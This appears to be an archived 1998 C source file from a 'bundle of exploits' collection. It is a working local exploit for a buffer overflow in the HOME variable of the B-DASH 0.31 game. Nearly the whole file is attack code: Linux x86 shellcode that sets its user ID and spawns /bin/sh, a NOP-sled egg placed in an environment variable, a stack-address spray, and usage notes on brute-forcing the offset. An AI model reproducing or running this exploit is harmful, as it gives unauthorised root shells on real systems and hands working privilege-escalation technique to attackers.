home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / bdexp.c-1779 < prev    next >
Text File  |  1998-07-17  |  2KB  |  79 lines

  1.  
  2. /*
  3. The overflow comes with the $HOME environment variable, in
  4. the vconfig() function (vconfig.c).
  5. */
  6.  
  7. /*
  8.  *
  9.  *   B-DASH 0.31 buffer overflow
  10.  *
  11.  *    by   plaguez
  12.  *         dube0866@eurobretagne.fr
  13.  *         http://www.innu.org
  14.  *
  15.  *
  16.  *  compile:   cc bdexp.c -o bdexp
  17.  *  exec:      ./bdexp 8
  18.  *         or  ./bdexp 4
  19.  *         or  ./bdexp 24 ...
  20.  *  you may want to brute-force the offset (argv[1])
  21.  */
  22.  
  23.  
  24.  
  25. #include <stdio.h>
  26. #include <stdlib.h>
  27. #include <unistd.h>
  28.  
  29.  
  30. #define EGGSIZE 2048
  31.  
  32. char *shellcode =
  33.   "\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80\x68\x59\x58\xff\xe1"
  34.   "\xff\xd4\x31\xc0\x99\x89\xcf\xb0\x2e\x40\xae\x75\xfd\x89\x39\x89\x51\x04"
  35.   "\x89\xfb\x40\xae\x75\xfd\x88\x57\xff\xb0\x0b\xcd\x80\x31\xc0\x40\x31\xdb"
  36.   "\xcd\x80/"
  37.   "/bin/sh"
  38.   "0";
  39.  
  40. unsigned long get_sp() {
  41.    asm("movl %esp,%eax");
  42. }
  43.  
  44. char *buffer;
  45. char *egg;
  46.  
  47. main(int argc,char **argv) {
  48.    int i;
  49.    int bsize=1124,offset;
  50.    long *adpt;
  51.    char *pt;
  52.  
  53.    if(argc!=2)
  54.      {
  55.         printf("\nusage  %s <offset>",argv[0]);
  56.         exit(1);
  57.      }
  58.    offset=atoi(argv[1]);
  59.    egg=(char *)malloc(EGGSIZE);
  60.    buffer=(char *)malloc(bsize);
  61.  
  62.    pt=buffer;
  63.    adpt=(long *) pt;
  64.    for (i = 0; i <= bsize-4; i += 4)
  65.     *(adpt++) = get_sp() - offset;
  66.  
  67.    memset(egg, 0x90,EGGSIZE);
  68.    memcpy(&egg[EGGSIZE-strlen(shellcode)-2], shellcode, strlen(shellcode));
  69.  
  70.    egg[EGGSIZE-1] = 0;
  71.  
  72.    setenv("BUFF",egg,1);
  73.    setenv("HOME", buffer, 1);
  74.  
  75.    printf("\nb-dashing ...\n");
  76.    execl("/usr/games/bdash", "/usr/games/bdash", NULL);
  77. }
  78.  
  79.